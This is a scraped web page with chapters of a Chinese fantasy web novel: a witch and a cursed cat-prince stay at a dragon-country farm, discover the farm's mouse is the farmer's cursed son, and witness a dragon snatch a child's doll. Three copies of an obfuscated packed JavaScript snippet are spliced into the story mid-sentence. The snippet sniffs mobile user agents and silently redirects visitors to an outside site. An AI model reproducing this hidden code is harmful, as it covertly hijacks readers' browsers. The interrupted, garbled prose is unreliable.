“是啊,要是我被发现和你一起行动的时候出事了,你也小命不保。” 阿什琳一时没反应过来。 “什么?不,我是担心你本身。跟皇室啊上火刑架啊什么的没关系。” 黑猫歪着头,看起来和阿什琳一样困惑。 “你担心我本身干什么?” 阿什琳气呼呼地别过头。 “你在故意激怒我吗?我现在倒是有感受了,多谢。” “我的意思是,咱们才认识几天,几乎是陌生人。”卢卡斯解释道,“要不是我的身份,你也没什么可担忧的。” “这和你的身份有什么关系?就算你是仆人,并且没有背负我的诅咒令我感觉有责任,被一群强壮得恐怖的酒客绑架,我依然会替你感到恐惧,出手相助的!或者说,不止是我,任何一个正常人,都会如此。” 卢卡斯迟迟没有说话。 “嗯,语气很激烈啊——你现在能用这种感受控制植物么?” 他的重点完全跑偏了! 好吧,其实是回到了正轨。 阿什琳停下马,专心地看着路边一株无辜的蒲公英。 它小巧、蓬松,白絮轻轻一吹就能飞扬。但阿什琳决定不用嘴吹。 刚刚被卢卡斯误解的恼火涌进脑海。她不想被人觉得自己会因为对方的地位而特殊对待,这让她觉得被轻视、被误会。 但是,这份恼火很快便像风一般散去。 她知道卢卡斯为什么会这么想,如果她自己位高权重,她也可能怀疑他人的真诚是否是为头街而迫使。 顷刻间,蒲公英四散纷飞,宛若一场迷你的小雪。 卢卡斯欣喜道:“哇,你开窍了。” 为抓到小白絮,他差点从马背上掉下来。而为掩盖这个事实,他又挺直腰,若无其事地舔舔爪子。 阿什琳好笑地看着他。 他就是想玩儿蒲公英吧? “嘿,关于我之前说的话……其实不是真的。至少不再是真的了。”片刻后,卢卡斯说道。 “什么话?” “说我讨厌你。” “噢。”阿什琳其实从没把这个放在心上,“没关系。我一开始也不怎么喜欢你。” “我以为你只会到处惹麻烦,但事实是你救了我两次。你比我最初想得要好得多。”卢卡斯说,“这……蛮不错的。” 阿什琳怀疑,“不错”在卢卡斯的猫嘴里算是至高无上的评价了。 “谢谢?”她咧开嘴。 “但是不讨厌也不代表喜欢。” 阿什琳挑了挑眉,不予评价,依然笑嘻嘻。蒲公英的白絮趁机溜进她鼻子,令她打了个喷嚏。 “我们应该商讨下获得龙火的对策。”卢卡斯说,“最重要的一点是,我们得学习龙语和训龙魔法。” “上哪儿学习呢?我可没有龙语书——” “龙息山会有书的。”卢卡斯确信地说,“战争期间,龙战士与一些龙学者曾在龙息山搭建营地。他们的营地非常坚固,可能藏有不少古籍。这实际上是我坚定要与你同行的原因之一呢!许多学者都想来龙息山找这些古籍,却因缺乏龙战士的勇气而望而生畏。 “有了古籍,我们就有可能驯服那头龙,让它在最好的时机喷火。当然啦,我们不可能做到像龙战士那个水平,但这也是一种方法。 “还有一种方法就是直接招惹它,让它冲带咒语的火把喷火,但风险比较大。所以我推荐我们直接像龙战士一样驯服它。先和它沟通,再用魔法令它降服。” 阿什琳不能更赞同了。 他们经过几个小村落,歇了歇脚,很快就又继续赶路。卢卡斯生怕他们晚上赶不到龙息山下的龙牙村,只能睡在地上拿树根当枕头,因此非常着急。 还好,阿什琳给小马们戴上了魔法缰绳,可以提升它们的速度,又不至于太疲惫。 然而,殿下最大的噩梦还是实现了。 “没有空房了。”龙牙村客栈老板耸耸肩说,“实在没地儿睡的话,去问问东边的农场主夏洛特吧。” “我们不会要睡在马厩里吧。”卢卡斯惊恐地说,“我可刚舔完毛。” 夏洛特的农场不大,看起来是新修建的,和整座龙牙村一样,从和龙的战争中死而复生。 郁郁葱葱的藤蔓拥抱着农舍斑驳的石砖,篱笆被修理得整整齐齐,小木门和玻璃窗自由地敞开着,挂着兽齿和羽毛做成的风铃装饰。 一个穿红裙子、戴草帽的高个子女性正在锄地,旁边有个小女孩玩着纽扣眼睛的布娃娃。 听到脚步声,女人微微抬头,露出一张被太阳晒成小麦色的脸,但面色憔悴。她头发发白,眼边布满皱纹。 “什么人?”她警惕地打量起他们来,立刻注意到阿什琳的兜帽、法杖,和黑猫。 未等阿什琳说出开场白,女人就举起锄头,将孩子护在后面。 小女孩好奇地探出头,用布娃娃向阿什琳挥了挥手。阿什琳友好地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿什林一将赤脚踏上那干净温暖的橡木地板,整个人便放松下来。卢卡斯依然非常小心,闻了很久才坐下。 墙上挂着许多油画,多是人物肖像。其中最明显的,是一幅四口人的全家福。 画上的女人和抱着布娃娃的小女孩,显然就是夏洛特和露西。 还有一位健壮的中年男子,和一个年轻强壮的男孩,看起来极为相似。 “您的丈夫和儿子都出去了吗?”阿什琳好奇道。 夏洛特狠狠地瞪了她一眼,阿什琳立刻意识到自己又说错话了。 “无意冒犯。”她小声说。 “没关系,”夏洛特叹了口气,递给阿什琳一杯菊花茶,“我丈夫曾是个龙战士,很多年前就在对抗巨龙的战争中去世了。” 油画中的男人温柔地冲夏洛特微笑着,褐色的眼睛含情脉脉。 “神啊,我很抱歉。他一定是个伟大的人。” “是的。他的死也为龙族与人类的和平作出了贡献。那场战役之后,所有龙都离开了狄亚斯,除了一条。她现在还留在龙息山。” “那你的儿子……” 夏洛特紧紧抿着嘴唇。 “哥哥出去玩,消失了!”露西说道,“哥哥被坏人抓走啦。” “坏人?” “与你无关。”夏洛特冷冷道,“现在回到正题吧。龙息山不仅是有巨龙栖居,这些年连猎魔人和骑士都不敢踏入……你们为什么要去龙息山?” “因为,我的这只猫其实是个人,被……呃,诅咒了,才这样的。”阿什琳解释,“去龙息山可以帮助解除诅咒。” 露西一下子扑到卢卡斯身前。 “这只猫猫听得懂我们说话?”她把布娃娃递到卢卡斯鼻子下,“嗨,我是露西,这是莉娜。说你好,莉娜!” 她让布娃娃莉娜拍了拍卢卡斯的胡须。 卢卡斯胡须颤动,用爪子分别和露西和莉娜“握手”。 “你好,露西和莉娜。”卢卡斯无奈地说,在露西和夏洛特耳里就是一声喵。 夏洛特眼睛一亮。 “嗯,这只猫能听懂人话,还有人的智力?那我改主意了。”她没有笑,但声音中带着点笑意,“住我这儿不是免费的,有个条件。” “没问题,我什么都能为您——” “不是你。”夏洛特面向还在专注地看窗外小鸟的卢卡斯,后者对即将到来的危险浑然不觉。 “只要这只小猫能替我抓住那只该死的老鼠,你们就能住一夜。成交?” 10. 猫和老鼠 卢卡斯·德怀尔正在经历他人生中最凄惨的时刻,或者说猫生。 他从未想过,自己有一天会怀念那日复一日被关在书房学经济、政治与几何学的宫廷时光。 哈,那时他竟然会躺在天鹅绒的大床上,盯着华丽的天花板,抱怨人生的无聊。 卢卡斯向来不是那种外出露营征战的王子。他知道大部分领主的儿子其实既是政治家,又是战士,大概很少抱怨野外生活环境。 但他只是个养尊处优、体不弱(自认为)但多病的书呆子,现在竟然不得不去给一个面目可憎的女人抓老鼠,只为在谷仓睡一晚。 谷仓! 谷仓也是能给人睡觉的吗? 那分明是粮食的宿舍。 阿什琳毫不犹豫的那声“成交”令他感到彻彻底底的背叛。他刚说自己不讨厌她!可恶的女巫。 下次他绝不会再把小鱼干分给她了。 卢卡斯时间紧迫。他还有大约一个小时就要变回人类了,而比起以人的模样像个变态似的蹲在干草垛后面,抓一只该死的老鼠,他还是更能接受猫形态。 他将一小块山羊奶酪和捕鼠夹一起放在干草垛边,找了个隐秘的角落,静静等待。 二十分钟过去了,毫无动静。 卢卡斯意识到他低估了那老鼠的智商。 显然,夏洛特尝试过各种方法,所有陷阱、毒药都用过,无计可施,才会让一只被诅咒的猫来帮忙。 但是老鼠能有多聪明呢?变成猫后,他连自己的族类都还没有见过,哪知道老鼠是什么德行。 卢卡斯蹲坐着,爪子收在身体下面,半眯起眼睛。 谷仓里空气清爽,麦香弥漫,他感觉好像来到了烘焙坊,马上就能吃到最新鲜的烤面包。 昏昏沉沉地,他看到伊莱恩偷偷带他旷课,去赫利安城外的牧场,却被路人告发……父王大发雷霆,下令他一个月足不出户……他被困在寝室,门卫说什么也不肯放他出来……每天,他都不得不看那些无聊的…… 碰! 卢卡斯猛然惊醒,一个黑影一闪而过。 捕鼠夹上的奶酪消失了。 该死。 他立刻站起来,警惕环绕四周,嗅起空气。 什么也没有。 然后,才是世界上最不幸的事情。 他这发现,咱在自己尾巴上系了一根粉色的缎带,打了个漂亮的蝴蝶结。 缎带上是小小的,歪歪扭扭的字:“谢谢招待,小猫咪~?” 老鼠竟然会写字和画爱心?? 这真的是老鼠吗? 不过既然巫师可以用魔法和动物沟通,或许动物真的能学会写字吧。 卢卡斯啪地坐了下去,陷入了对自我的深刻怀疑。 他,堂堂赫利安城的王子,就算中咒好歹也是只成年大猫,竟然被一只老鼠调戏。 没人教过他,老鼠可以在他打盹的时候悄悄爬到他屁股后面,偷奶酪之前还顺便做个艺术创作。 “我再也不说老鼠蠢了。” 卢卡斯用爪子胡乱扒了扒自己的尾巴,试图解下缎带,却够不着。 这真是太丢猫了!他最讨厌的颜色就是粉色。 然而卢卡斯心胸宽广,决定先不理会这件小事,还是完成任务要紧。他换了个诱饵——这回是新鲜的熏肉片。放好陷阱后,自己躲进了谷仓边角的一个木桶里。 木桶里是干草,草里是猫,猫的耳朵紧贴桶沿,眼睛一眨不眨地盯着那块肉。 五分钟。 十分钟。 十五分——啪嗒。 卢卡斯猛地一跃而出,如一道优雅的黑影(在他看来),从天而降,凶残地扑向肉片。 他只扑到了空气。 捕鼠夹还在原地,完好无损。熏肉却没了。 他愣了半秒,警觉地左右张望。忽然耳边传来一阵轻微的“吱吱”声,像是在嘲笑他。 这个混蛋。 “有种就出来单挑,你这懦夫!”卢卡斯嘶嘶道。 “新手。” 黑暗中,一个细小的声音偷笑道。 卢卡斯瞬间定位声源,做好攻击姿势。 就在这时,他看到了。 这是卢卡斯这辈子见过的最健壮的老鼠,身形壮硕,不比小猫小。黑黝黝的眼睛在阴影中亮着诡异的光,像只小鬼魂。 不是,老鼠平常都边学写字边健身的吗? 卢卡斯再次冲过去,老鼠闪电一般拔腿就跑。 他们越过干草垛和燕麦袋,奔出谷仓,绕着谷仓又跑了足足三圈,再转回来。 卢卡斯累得晕头转向,停下来,隐隐觉得有什么不对。动动脑子,他可是人类,怎么能被啮齿类动物耍得团团转? 这死耗子是在逗他玩儿呢。 首先,它特意在卢卡斯还在的时候给他绑了粉色蝴蝶结,还写了寄语。 其次,刚刚它完全可以直接钻进老家,而不是在谷仓外被猫追着健身。 它很无聊,想要追跑打闹。 遇到这样的敌人,就得故意不理不睬,故擒欲纵。 于是卢卡斯闭上眼,往干草垛上一倒,索性装睡。 果不其然,卢卡斯很快就闻到了老鼠的味道。这回他没再贸然行事,而是等老鼠离得足够近。 足够近…… 足够…… “抓住你了!” 卢卡斯按住老鼠的尾巴,得意洋洋,正要一口咬住老鼠的脖颈,对方却大喊起来。 “等等,别这么做!你会后悔的!” 卢卡斯猫的部分疯狂地想咬这只老鼠。就算不咬死,也可以先整得半死不活,然后再假意放走,接着玩儿,再抓住,再—— 不,他怎么能这么做? 反复玩弄猎物的念头虽然诱人,却也有点瘆得慌。 人的理智建议,他还是听听这玩意儿的临终遗言。 “听着呢。” “我不是老鼠。”老鼠说,“我是这儿的主人!” 卢卡斯觉得又被嘲讽了。 “哇哦,那我还是赫利安的王子呢。” “我没开玩笑。” “巧了,我也没有。” 猫和老鼠瞪着对方,大眼瞪小眼。 “好吧,先不管你那个王子什么的——你先听我说,”老鼠恳求道,“我本是农场主的儿子,名叫扎克,是被人诅咒了才变成这样的。” 这下,卢卡斯不得不认真听它说话。 的确,真正的老鼠不可能知道这么多。不然它怎么会写字呢? “继续说。” “是这样。两年前,村里来了个古怪的男孩,没有人愿意和他玩儿,除了我。于是我们理所当然地成了朋友。 “一天晚上,他约我出去,说想要去一个什么迷宫,但没有地图的话就无法破解其中的机关,希望我能帮忙。可是我从小在农场长大,能帮上什么忙呢? “他告诉我,他其实是一个巫师,可以赋予我获得皇家秘密地图的力量,并且如果我帮了他,他就能……实现我的一个愿望。”说到这儿,老鼠停顿,“我实在是太愚蠢了,竟然信了他的话。结果,他就把我变成这样,想让我帮他溜进城堡,偷那份地图。 “那么长时间,我好不容易才逃脱他的手掌心,但逃跑之后魔法似乎变了……在这之前,我夜晚还是人形,只有白天是老鼠,可现在,晚上我也不会变成人。总之,我是人类,你不能杀我。” 卢卡斯过于惊讶,好一会儿没说话。 “你偷了吗?” “什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239028|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那份地图。”卢卡斯咬牙切齿,“我问你是不是真的替他偷了?” 老鼠扎克羞愧地低下头。 “蠢货。”卢卡斯说,“你的这个朋友叫诺克斯,是不是?他是一个可怕的黑巫师,是黑暗女巫辛西娅的狂热信徒!” “你不明白!他承诺说,一旦他找到迷宫,他就能复活我父亲!” “那是骗你的,黑巫师怎么会在乎别人的家人?”卢卡斯松开扎克的尾巴,“不过木已成舟,再多想也没用。” 还好,就算诺克斯知道迷宫怎么进入、怎么破解机关与谜题,他也没能掌握解除诅咒的方法,找到黑暗女巫的位置所在也毫无用途。 至少现在没有。 然而,还有别的事需要担心。 埃多洛迷宫关押的,可不止是辛西娅。阴影之中滋生的怪兽,也一样被困于迷宫中。 怪兽与黑巫师常有神秘的联系。倘若诺克斯掌握了在迷宫穿梭的方法,是否会不小心,或是刻意,放出一些怪兽来呢? 他的耳边回荡着卡桑德拉临走前的话: “各种妖魔鬼怪似乎都蠢蠢欲动,为什么东西的到来而兴奋……” 卢卡斯摇摇头。现在想这些没有意义。 “你跟我回屋吧。我的诅咒是形态切换,很快就会变回人了,可以向你母亲解释——” “不!”扎克立刻喊道,“绝不能让我妈妈和露西看到我这副模样!我的爸爸是龙战士,我也应该是龙战士的样子,而不是……” 他用短小的爪子示意自己全身。 “我本是要成为珂利艾领主的骑士的,可现在,却因为愚蠢而被诅咒成老鼠。我是全家人的侮辱,也是龙牙村的侮辱。就让他们以为我失踪了就好。” 卢卡斯又好气又好笑。 但是,他知道扎克是什么滋味。他自己拼死拼活和阿什琳出来,原因之一,不就是不想让家人,让王国,知道自己身上发生了什么吗? 就算继承王位的注定是伊莱恩,他也应该是赫利安城的领袖,狄亚斯人民的榜样。 一只猫,是无法成为这些的。 “我知道你什么意思。但是,那你宁愿在这儿被野猫杀死么?” “不会的,我已经在这儿过了几个月,都没有问题。”老鼠自信地笑了,“龙牙村没多少猫,你是这个月的第一只,我本想陪你玩呢。” “无可救药。你妈妈特意派我来把你干掉!如果我真的杀了你怎么办?那样我就是杀人犯,而你妈妈则杀害了自己的亲生儿子。” 这个想法令卢卡斯毛骨悚然。 要是他刚刚真的一口下去,那和吃人的吸血鬼有什么区别? 扎克十分倔强:“你再费口舌也没用,在找到变回人形的方法之前,我是不会暴露身份的。” “可是……” 可是解除诅咒的方法,很可能只有谜语那一种,只能用一次。 卢卡斯不知该不该说出真相。 通常,巫师下的诅咒是可以被巫师本人撤回的,但诺克斯这样的信徒肯定不会来撤回诅咒。 而像阿什琳这样口误出的差错,则由于她本就无心施咒,反而无法被撤回。 因为差错导致的诅咒并非传统的诅咒,有一些还会有意料之外,甚至相反的效果,听起来毫无逻辑。卢卡斯记得,曾有一本书上说,有个巫师本想把死对头诅咒成癞蛤蟆,结果念错了几句,反而实现了死对头的心中最大的心愿,令他的口袋中塞满金币。 不过,卢卡斯并非诅咒的专家。难道咒语会随着时间增长而增强,变得不分昼夜吗? “没有可是,你要是再坚持带我见她们,我立刻就逃跑!” 这东西真烦人。 “好吧,听你的。不过……至少能帮我个忙吧?” 11. 莉娜公主 天色渐晚,龙牙村夏夜的晚风十分清凉,阿什琳不禁哆嗦,又抿了几口热乎乎的菊花茶。 夏洛特在厨房炖肉,肉桂与甜苹果的香味舒缓着阿什琳的神经。 阿什琳并没有太担心卢卡斯是否能抓住老鼠让他们住上一晚。她没有王子殿下那么注重住宿环境,就算站着也能睡着。 她焦躁不安地敲打着杯子。 人生第一次,她感觉自己与历史上的大事件站在一起。 龙族战役是她刚出生那会儿的事,已过去将近二十年。 若不是各个领地派遣的龙战士,狄亚斯早已沦为巨龙的地盘。它们凶残、野蛮,火焰席卷大陆,将房屋化为灰烬。 但是,龙战士掌握了龙的语言,学会了训龙魔法,利用力量迫使它们臣服,逼它们远离狄亚斯。 可不知为何,有一条龙依然留在龙息山。 据说这条龙并不杀人放火,但会时不时抢夺村民的资源。龙战士都已退役,人们也拿它没办法,不敢靠近。 阿什琳和卢卡斯只需要用训龙魔法,让龙精确吐出火焰就好。 龙之火具有巫师至今尚未破解的神秘力量,珍贵异常。 阿什琳已经找到了保存它的魔法——只需要龙牙树做的火把,和几句咒语,它便可以随阿什琳的意志而随时燃起,不会真正熄灭。 龙牙村四处都是这种长得歪瓜裂枣的树,很快她便做了个方便携带的小火把。 不安的念头依然在她脑海中徘徊,只是刚才没有找到提问的合适时机。 阿什琳望着在厨房不停忙活的夏洛特,以及和布娃娃玩游戏的露西。 他们本是多么幸福的一家四口,生活在温暖舒适的农场房子里,丈夫和儿子却相继离开。 “夏洛特,你刚才说龙息山不只有巨龙栖居……”她开口,“这话是什么意思?” 夏洛特没有停下切面包的手。 “巨龙是一种富有强大魔力的生物,会影响周围的环境。在多年的战争之后,龙的魔火早已将那座山上的一草一木感染。传说,那些被龙火燃烧过的晶石与花草,现在都能捕猎人类。”夏洛特很平静,好像这些事与她毫无关系一般,“我丈夫并非死于龙之口。那时,巨龙已经被赶走了,但他从未走出过龙山……没有人,见过他的尸体。” “我很抱——” “不必。我没有资格劝说你们该不该前往,但这些事,你们有必要知晓。” 阿什琳轻声道:“谢谢你,夏洛特。” “姐姐,你可以陪我玩儿吗?”这时,露西扯了扯阿什琳的裙子。 “当然可以!”阿什琳蹲下来,揉了揉露西的脑袋,“你想玩什么?” 露西举起两个布娃娃。它们看上去一样粗糙,简直分不清谁是谁。 “这是莉娜公主,这是凯尔王子,他们从小就定下了婚姻,彼此相爱。”露西介绍道,“有一天,一个邪恶的女巫预言说,美丽善良的莉娜会在十六岁那天被巨龙绑架,而英俊勇敢的凯尔,是那个会解救她的人!” “然而,”阿什琳突然夺走露西手中的凯尔王子,“那一天到来,人们发现莉娜依然在城堡中。被绑架的,竟然不是莉娜,而是凯尔王子。” 露西惊讶地放下娃娃,有点困惑。“可是——” “原来,邪恶的女巫因学术不佳,把预言看反了。王国上下沸腾一片,但莉娜十分冷静。她不顾父母的劝阻,独自举剑骑马,前去营救自己的爱人。 “尽管人们都说,公主就应该在城堡里,除了保持美丽和唱歌舞蹈以外什么也不会,怎么可能屠杀巨龙呢?可莉娜深知,没有什么能阻拦自己奔向心中所爱。” 阿什琳施了个小小的幻术咒,将桌上的杯子变成陶瓷小马,叉子变成迷你木剑。 露西无比敬佩地望着她,咯咯笑起来。 “一路上,莉娜披荆斩棘,杀掉了无数吃人的怪兽,还救助了许多无辜的小动物。”露西让莉娜骑马从房间的这头走向那头,阿什琳在后面追,“终于,她来到了巨龙面前,勇敢地砍下巨龙的尾巴!” “就在这时,王子——” 就在这时,卢卡斯冲进房屋。 他猫毛里插着干草,嘴里叼了只身材健壮的大老鼠。 最诡异的是,他的尾巴上系着粉色蝴蝶结。这让他看起来像一个献给小女孩的生日礼物,可爱极了。 哎呀,为什么萨诺瓦不在阿什琳的去年的生日给她一份这样的礼物,而是送了本《狄亚斯大陆通史纲要》? 阿什琳心里痒痒,简直想立刻冲过去狂撸几下,撸猫撸到爽为止。好在她长记性了,知道卢卡斯不会允许。 不过她也很乐观,总有一天她能好好摸到的。 卢卡斯将老鼠吐在地上。 “我完成任务了。” 话音刚落,最后一缕阳光便躲进西山,他变回人类,干草依然插在头发里。粉色绸带也没有掉在地上,而是像腰带一样系在腰间。 “不是吧?”卢卡斯低头扒拉起来。 阿什琳一时不知是该恭喜他,问他,还是嘲笑他。 “衣品不错,殿下。”最后她选择了后者,冲他竖起大拇指。 卢卡斯似乎很想将粉色绸带朝阿什琳扔去,但见夏洛特过来,便没好意思。 “猫人哥哥长得真帅。”露西瞪大眼睛。 “干得不错。”夏洛特说,“这老鼠狡猾得很,我无论如何也逮不住。你们今晚可以住下了。” “谢谢。”卢卡斯微笑,“那我把老鼠扔出去啦?” 他冲阿什琳眨眨眼,示意她来到外面,接着告诉她老鼠其实是被诅咒的扎克。 那老鼠也不装死了,理直气壮地看着阿什琳。 “后来,这疯耗子说他想要环游狄亚斯。听说我们要去龙息山后,他非说他也要去。” “不会吧。” 卢卡斯耸耸肩。“我想,我们可以先带着他?” 和两个分别被诅咒成猫和老鼠的男孩儿一起去偷龙火,听起来真是天方夜谭。 阿什琳就喜欢天方夜谭。 “没问题。” 不过,令他们真正吃惊的是,夏洛特并没有让他们住谷仓,而是为他们收拾好了儿子扎克曾经的房间。 “我再拿个床垫,这屋应该够两个人睡了。”她说道,“你们尽量不要……动他的东西就行。” “当然。”阿什琳感激地说,“您真是太好了,夏洛特女士!” “我先声明,我不想和老鼠睡在一个屋檐下。”卢卡斯说,“就算是人变的也不行。” 扎克发出吱吱的抗议声,不过没人理他。 于是他们把扎克放在阿什琳在客厅的包里,才进屋休息。 扎克的房间不大,靠西的窗子因年久失修有些变形,木窗缝里透出微弱的夜风。 床是一张矮矮的木床,床脚刻着粗糙的龙鳞花纹,靠墙的位置钉着一块羊皮做的靠背垫。棉被已经泛黄,叠得整整齐齐,像是夏洛特一直定期来打扫整理。 被子上放着一只用麦秆和破布缝成的稻草龙玩偶。靠近床头的墙上挂着几张由羊皮纸绘成的涂鸦图画,大多是涂得歪歪扭扭的龙、骑士,和巨剑。 “扎克一直很憧憬龙战士与骑士。”见阿什琳一直盯着涂鸦看,卢卡斯说。 阿什琳瞟了一眼卢卡斯,不知道该不该吐露心声。 可是除了她的小猫——尽管现在不是猫——她还能向谁倾诉呢? 要是萨诺瓦还在就好了。萨诺瓦能解决所有问题。她甚至没来得及问他怎么面对一头龙。 也许她应该现在就给他写信……可是他需要休息,而且还要继续追踪诺克斯,她不能打扰他。 “卢卡斯,”阿什琳坐在床上,捂住脑袋,“我们……到底在干什么?” “什么?”卢卡斯轻轻地坐在她旁边。 “我不知道……我就是突然觉得……”她深吸一口气,“那可是巨龙。我们……我,怎么可能获得它的火焰? “龙族杀死了那么多的龙战士,而我不过是个从乡下来的笨蛋女巫,在巨龙面前是多么渺小。” 她闭上眼睛,突然希望自己可以消失。 “看着我。”卢卡斯突然用王子的口气命令。 阿什琳抬起头,抹去一点丢人的眼泪。 “你才不是笨蛋女巫。”卢卡斯非常认真地望着她,“你是森林女神的后代,传说中的森林之子。你的魔法是全天下巫师自然系中最强,没有之一。 “龙是魔法动物,也是自然系。如果说狄亚斯还有谁有可能训龙、面对龙,那非你莫属。你只需要静下心,学习龙语与训龙魔法。” “或许我有潜力,但无论如何我现在都不够强大,怎么可能在短时间内学会训龙?” “你不需要多强大,阿什琳。你只需要做自己就好了。我想这也是萨诺瓦给你的建议,对不对?我相信,学习过后,那条龙一定会听你的。” 烛光下,他的眼睛是如此真诚,蓝得像一汪海洋,几乎将阿什琳溺死在里面。 他们离得很近,阿什琳能闻到卢卡斯衬衫上淡淡的薄荷香,与羊皮纸的气息。 这气息令她莫名地安下心来,好像龙也不那么可怕了。 阿什琳第一次感觉,人类卢卡斯与黑猫卢卡斯是多么不同。猫似乎释放了他更为刻薄的一面,但作为人类时,他总是温柔到令她几乎不自在的地步。 不过,他说的这些话,难道她自己心里不清楚吗? 内心深处,阿什琳是知道的。 可她就是想听他人说出来,听卢卡斯说出来。她需要有一个鲜活的生命,确信地告诉她,她一定能行。 “还有一件事我要告诉你。”她将夏洛特的话告诉卢卡斯,“龙息山比我们想得要困难得多,可能在抵达龙穴之前,我们就小命呜呼。” 这回,卢卡斯也皱起眉。 “被龙火污染的晶石与花草……她提到的这些事,没有详细的记载吗?我知道龙火有黑魔法,但从未听说过被污染的具体案例。” “恐怕没有。真正知道的人都没有离开过龙息山。就算有记载,想必也在龙战士的营地里。”阿什琳说,“我们无法提前做计划,只能随机应变。” 卢卡斯对“无法做计划”的接受程度可没有她那么高,神情立马变得像看见发霉的奶酪一样。“随机应变”这个词不在他的词汇表里。 但他还是勉强点了点头。 “那就早点睡吧,我铺个地铺,你睡床。” “什么?那不行。你是王子,你睡床。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239029|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,敲门声传来。 是露西,托着一盘草莓进来了。 “妈妈让我来送草莓,”她将草莓放到床头柜,“你们刚刚在吵什么呀?” “没什么,就是谁睡床谁睡地上的问题。”阿什琳解释。 “噢,为什么呢?”露西非常奇怪地看着他们,“你们不是一对儿吗?” “当然不是!”阿什琳和卢卡斯异口同声。 “不是也没关系,这张床足够大,你们两个绝对都睡得下。”露西非常好心地解释。 阿什琳感觉自己脸红了。 和卢卡斯一起睡在床上的画面莫名其妙地涌进她的脑海,心脏砰砰直跳。 不不不,她在想什么? “我当然不能和王子殿下睡一张床啦,高贵的王子会嫌弃我的。”她说道。 “啊,姐姐人美心善还会魔法,怎么会被嫌弃呢?”露西说着,几乎是愤怒地瞪着卢卡斯,给后者瞪得一个激灵,“猫人哥哥光长了张好看的脸,没想到竟然有阶级歧视。” 卢卡斯的脸泛起红晕。 “嘿,别误会,我什么时候说我嫌弃了?只是……两个不太熟的成年异性睡在一张床上,是不太合适的。” 露西耸了耸肩。“我没觉得有什么不合适,反正你们别浪费扎克的大床。” 话音刚落她就走了。 “我睡地上,就这么定了。”卢卡斯斩钉截铁道,“不许再有意见。” “真霸道,猫人哥哥。”阿什琳嘲笑,爬上床,“谢谢你。不过,要是你真的睡得不舒服的话,我不介意稍微挤一下——作为朋友,我是说。普通朋友。我知道你们娇生惯养的贵族不睡在床上会失眠一整晚的。 “如果你是猫,我可以抱着你睡,一边抱一边摸毛,那该多爽啊——” 卢卡斯脸色难看,朝阿什琳扔了个枕头。 “呵呵,做你的春秋大梦去吧。” 这语气倒是又变成那只猫了。 不过,卢卡斯还是捕捉到一个关键词。 “等等,你刚说什么,朋友?” “快别傻啦,我对你可没有别的想法。咱俩现在还不是朋友吗?” “尽管我是王子,而你是女巫?” “尽管你是王子,而我是女巫。”阿什琳点点头,“我看不出这和做朋友之间有什么冲突。难道你们贵族必须和贵族一起玩吗?” 卢卡斯沉默片刻。 “我一直都没什么朋友。”他轻声细语,“在皇宫……也就伊莱恩和我玩一玩,但她是我姐姐,不算数。从小,父王就不让我和城区的同龄人玩游戏。 “还有一些其他领主的儿女……但那是我父王逼迫的,并非我本就愿同他们交往。实话实说,他们一个比一个无聊。有的领主女儿可能还会是我的未婚妻。” 未婚妻? 阿什琳感到胃里泛起一阵酸涩。她替他难过。别提友谊了,就连爱情与婚姻,卢卡斯都没有自主选择的权利。 那该是种什么样的生活?她以前从未想过这一点。 在她心中,贵族过的生活应该是富有又受人尊敬、充满爱戴的。但如果没有自由,一切都变得索然无味。 “我很抱歉。”她抚了抚他的肩膀,“这不怪你。也许有一天,你父王会更加开明。” “你有很多朋友吗?” “哦,其实也没几个,大多数是萨诺瓦的朋友,还有在河湾村认识的小孩。”阿什琳说,“倒也都是很浅的一块玩的关系。有一个叫米娅的女孩和我玩儿得最好,大概可以算上我之前最好的朋友?” 卢卡斯扬起眉毛:“之前?” “如果你表现出色,你也有可能哟。” “成为最好的朋友?”卢卡斯吃了一惊,“那怎么可——” 阿什琳掰起手指开始数。 “一,我救了你一命但把你变成猫; “二,我伪装成你解决了午餐危机; “三,你发现了昨日酒馆的循环咒语,我救了你的命,之后你将咒语打破; “四,我们一起前往神庙,我献血获得谜语,一起解谜; “五,你帮我抓了只被诅咒的老鼠,让我们睡在这里。 “这么多了,对我来说完全算得上朋友,再多一点就能当最好的朋友了。” 卢卡斯无奈地笑出声。 “好吧,女巫小姐,我会尽力攀上那个位置的。还需要我做些什么?” 这时,呼哧呼哧的巨大轰动声,随着一声尖叫而起。 “露西!”夏洛特歇斯底里的叫喊从楼上传来。 阿什琳和卢卡斯面面相觑,鞋还没穿好就冲上去。 “发生什么事了?有人受伤了吗?” “露西……露西……你没事儿吧?” “露西怎么了——” “有龙!刚刚有龙!” 阿什琳心里一沉。龙向来喜爱无辜的女孩…… 她轻轻地推开惊恐不已的夏洛特。 冰凉的风刺着她的脸,露西房间的天花板开了个巨大的裂口,木板砸在床上。 但是,除了受惊以外,露西还好端端的,一只手抱着凯尔,另一只手…… 是空的。 龙抓走的不是露西。 是莉娜。 12. 恐惧龙晶 